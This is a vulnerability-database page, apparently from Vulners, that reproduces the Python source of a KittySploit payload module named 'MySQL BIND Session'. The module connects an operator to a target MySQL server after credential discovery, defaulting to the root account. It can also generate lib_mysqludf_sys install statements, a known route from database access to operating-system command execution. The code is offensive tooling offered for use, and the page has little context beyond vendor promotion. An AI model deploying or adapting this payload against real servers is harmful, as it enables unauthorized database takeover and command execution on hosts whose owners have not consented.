Lucene search
+L

MySQL BIND Session

🗓️ 08 Aug 2026 21:48:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

MySQL BIND payload for database sessions via hint or udf_sql.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *

from lib.c2.mysql_bind import build_mysql_bind_hint, build_mysql_udf_exec_sql


class Module(Payload):
    __info__ = {
        "name": "MySQL BIND Session",
        "description": (
            "BIND payload for listeners/database/mysql. Operator connects to the "
            "target MySQL server after credential discovery (no reverse agent)."
        ),
        "category": PayloadCategory.CMD,
        "platform": Platform.MULTI,
        "listener": "listeners/database/mysql",
        "handler": Handler.BIND,
        "session_type": SessionType.MYSQL,
    }

    rhost = OptString("127.0.0.1", "MySQL server host", True)
    rport = OptPort(3306, "MySQL server port", True)
    username = OptString("root", "MySQL username", True)
    password = OptString("", "MySQL password", False)
    database = OptString("", "Default database (optional)", False)
    delivery = OptChoice(
        "hint",
        "hint = connection marker; udf_sql = lib_mysqludf_sys install statements",
        False,
        choices=["hint", "udf_sql"],
    )

    def generate(self):
        if str(self.delivery or "hint") == "udf_sql":
            return build_mysql_udf_exec_sql()
        return build_mysql_bind_hint(
            str(self.rhost),
            int(self.rport or 3306),
            str(self.username or "root"),
            str(self.database or ""),
        )

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2026 21:48Current
5.9Medium risk
Vulners AI Score5.9
1